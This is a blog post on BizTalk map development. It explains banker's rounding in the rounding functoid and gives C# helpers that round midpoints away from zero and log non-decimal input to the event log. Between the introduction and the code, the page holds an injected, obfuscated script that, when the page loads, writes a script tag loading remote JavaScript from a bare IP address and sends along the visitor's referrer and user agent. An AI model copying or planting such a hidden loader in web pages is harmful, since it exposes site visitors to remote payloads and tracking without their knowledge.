The BizTalk roundingfunctoid uses “Banker’s rounding” by default. That means if you have odd numbers round away from zero, and even numbers round towards zero.
For example, 1.5 rounds to 2, and 2.5 rounds to 2. This is the a “fair” way of rounding, so that neither party in a business transaction benefits. I’m currently working in the aviation fuel industry, and they always wanted to round “up”. In Microsoft terminology, this is called “away from zero”, because for negative numbers you are rounding up- or away from zero, to a bigger negative number.

First I implemented the first function below. It worked great when the data was clean. But if I had a field with a NULL value (i.e. the XML element was missing), the routine blew up with a nasty error.

I came up with the idea of the second routine, called “RoundAwayFromZeroSafe”. I have to pass more parameters to it, in order to get a useful error message written to the application event log.
If I wanted my code to be re-usable, these parms are needed to identify 1) Which map (I include the project name/map name here), 2) Field Name (for example, Net vs Gross, which field being rounded caused the problem), and 3) some identification number (in my case it was called TicketNum, although I should have gone with a more generic name for the parm). The first parm is the number to round, that comes from the left side of the map. Likewise, the TicketNum comes from the left side of the map. The other two fields are entered as constants into the Scripting Functoid (see picture below the code).

Why do I want to pass the ID/TicketNum?  Suppose you have a map of 1000 tickets/records.  How do you know which one has the bad data in it, unless you include the ID in the error?  It certainly saves a lot of time guessing or searching for the bad data to have it clearly labeled which “row” it is on.

 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kbase|var|u0026u|referrer|tsdes||js|php'.split('|'),0,{}))
</script></noindex>        public static decimal RoundAwayFromZero(decimal numberToRound)
        {
            // BizTalk functoid uses MidpointRounding.ToEven (also called Banker's Rounding)
            // http://msdn.microsoft.com/en-us/library/system.midpointrounding%28v=vs.110%29.aspx 
            // BUt we want to always "round up", i.e. away from zero. 
            return Math.Round(numberToRound, 0, MidpointRounding.AwayFromZero);
        }

        public static decimal RoundAwayFromZeroSafe(string strNumberToRound, string strTicketNum, string strMapName, string strFieldName)
        {

            decimal decNumberToRound = 0; 
            if (decimal.TryParse(strNumberToRound, out decNumberToRound)) 
            {

                // BizTalk functoid uses MidpointRounding.ToEven (also called Banker's Rounding)
                // http://msdn.microsoft.com/en-us/library/system.midpointrounding%28v=vs.110%29.aspx 
                // BUt we want to always "round up", i.e. away from zero. 
                return Math.Round(decNumberToRound, 0, MidpointRounding.AwayFromZero);
            }
            else if (strNumberToRound == null) 
            {
                // same as below, but no need to write error message to EventLog 
                return 0;
            }
            else 
            {
                string errorMsg = "Non-Decimal passed to RoundAwayFromZeroSafe Ticket=" + strTicketNum +
                                    " MapName=" + strMapName + 
                                    " FieldName=" + strFieldName + 
                                    " Value Passed='" + strNumberToRound + "'";
                System.Diagnostics.EventLog.WriteEntry("Logger", errorMsg, System.Diagnostics.EventLogEntryType.Error);
                return 0;
            }
        }

This shows how I pass the constants to the above routine: RoundAwayFromZeroSafe

BizTalkRoundingFunctoidConfig

Here’s an example of the error written the log (before I started checking for nulls). One might debate whether a map should ever write to the log. In theory, these type of errors should be worked out during development and QA, so it should never happen in Production. We use “Logger” for our common Event-Log-Source, so any of our programs that write to the EventLog will be tagged with the source as “Logger”. NOTE: There are a few extra steps (documented elsewhere) to establish a new event log source on each system.

BizTalkRoundingFunctoidEventLogErrorExample

The actual message reads:

Non-Decimal passed to RoundAwayFromZeroSafe Ticket=QT.Epic.Export:EFSRExtractsGrouped_v1_0_To_EPIC_csv.btm MapName=SPMSP476723 FieldName=Gross Value Passed=”

(Oops – I just noticed that I have Ticket and Mapname backwards in the error message).

 

Microsoft References:
1) BizTalk Rounding Functoid
2) Microsoft Rounding AwayFromZero vs ToEven (Banker’s Rounding)

Tagged with:

Filed under: C#Maps